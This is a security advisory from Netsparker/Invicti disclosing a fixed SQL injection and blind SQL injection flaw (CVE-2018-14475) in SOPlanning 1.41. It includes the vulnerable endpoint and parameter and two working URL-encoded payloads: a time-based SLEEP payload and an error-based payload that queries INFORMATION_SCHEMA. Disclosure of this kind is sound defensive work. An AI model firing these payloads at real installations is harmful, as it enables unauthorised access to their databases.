SQL Injection and Blind SQL Injection Vulnerabilities in SOPlanning 1.41

Information

Advisory by Netsparker (now Invicti)
Name: SQL Injection and Blind SQL Injection in SOPlanning
Affected Software: SOPlanning
Affected Versions: 1.41
Homepage: https://github.com/SOPlanning/SOPlanning
Vulnerability: SQL Injection, Blind SQL Injection
Severity: High
Status: Fixed
CVE-ID:  – 2018-14475
CVSS Score (3.0):  CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N (8.6)
Invicti Advisory Reference: NS-18-023

Technical Details

Blind SQL Injection

URL: http://scanapps.ns/soplanning/www/projets.php
Parameter Name: statut%5b%5d
Parameter Type: POST
Attack Pattern: a_faire+%2b+((SELECT+1+FROM+(SELECT+SLEEP(25))A))%2f*%27XOR(((SELECT+1+FROM+(SELECT+SLEEP(25))A)))OR%27%7c%22XOR(((SELECT+1+FROM+(SELECT+SLEEP(25))A)))OR%22*%2f

SQL Injection

URL: http://scanapps.ns/soplanning/www/projets.php
Parameter Name: statut%5b%5d
Parameter Type: POST
Attack Pattern: -1%27+and+6%3d3+or+1%3d1%2b(SELECT+1+and+ROW(1%2c1)%3e(SELECT+COUNT(*)%2cCONCAT(CHAR(95)%2cCHAR(33)%2cCHAR(64)%2cCHAR(52)%2cCHAR(100)%2cCHAR(105)%2cCHAR(108)%2cCHAR(101)%2cCHAR(109)%2cCHAR(109)%2cCHAR(97)%2c0x3a%2cFLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.COLLATIONS+GROUP+BY+x)a)%2b%27

For more information on SQL injection vulnerabilities, read the section SQL injection.

Advisory Timeline

6th February 2018- First Contact
20th August 2018 – Vendor Fixed
30th November 2018 – Advisory Released

Credits & Authors

These issues have been discovered by Omar Kurt while testing Invicti Web Application Security Scanner.

About Invicti

Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.